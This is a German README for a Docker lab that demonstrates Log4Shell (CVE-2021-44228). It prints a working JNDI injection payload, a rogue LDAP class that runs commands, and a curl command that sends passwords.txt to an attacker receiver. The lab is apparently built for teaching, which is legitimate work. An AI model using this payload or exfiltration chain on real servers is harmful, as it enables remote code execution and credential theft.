
Docker-basierte Demonstration der Ausnutzung von CVE-2021-44228 (Log4Shell), bestehend aus einem verwundbaren Java-Server, einem schädlichen LDAP-Server und Datenexfiltration zu einem vom Angreifer kontrollierten Empfänger.
Eine einfache Demonstration von CVE-2021-44228 zum Übertragen von Daten von einem anfälligen Server zu einem von einem Angreifer kontrollierten Webdienst. Alle beteiligten Komponenten werden über Docker ausgeführt.
Dies ist ein Standard-Java-Server, der als Opfer fungiert. Er läuft mit:
8u111Dieser Server ist mit dieser Konfiguration VULNERABLE.
Zusätzliche Informationen:
/logging (GET) protokolliert den User-Agent mittels Log4J/foo/passwords.txt existiert (das Ziel des Angreifers)Inhalt von passwords.txt:
my secret
Dies ist ein Standard-Java-Server, der als Datensammler des Angreifers fungiert. Er läuft mit:
17Zusätzliche Informationen:
receiver (POST) protokolliert den AnforderungstextDies ist ein LDAP-Server, der auf rogue-jndi basiert.
Seine ExportJava-Klasse wurde so modifiziert, dass über das Flag -c übergebene Befehle ausgeführt werden.
public ExportObject() {
try {
Runtime.getRuntime().exec(Config.command);
} catch(Exception e) {
e.printStackTrace();
}
}
Wenn der anfällige Server anfragt, antwortet er mit einer Klasse, die beim Instanziieren den folgenden Befehl ausführt:
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt
Dadurch wird der Inhalt von /foo/passwords.txt effektiv an den vorbereiteten Endpunkt des böswilligen Empfängers gesendet.
./build.sh
./start.sh
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
docker logs --timestamps docker_malicious-receiver_1
passwords.txt des Servers erscheinen../stop.sh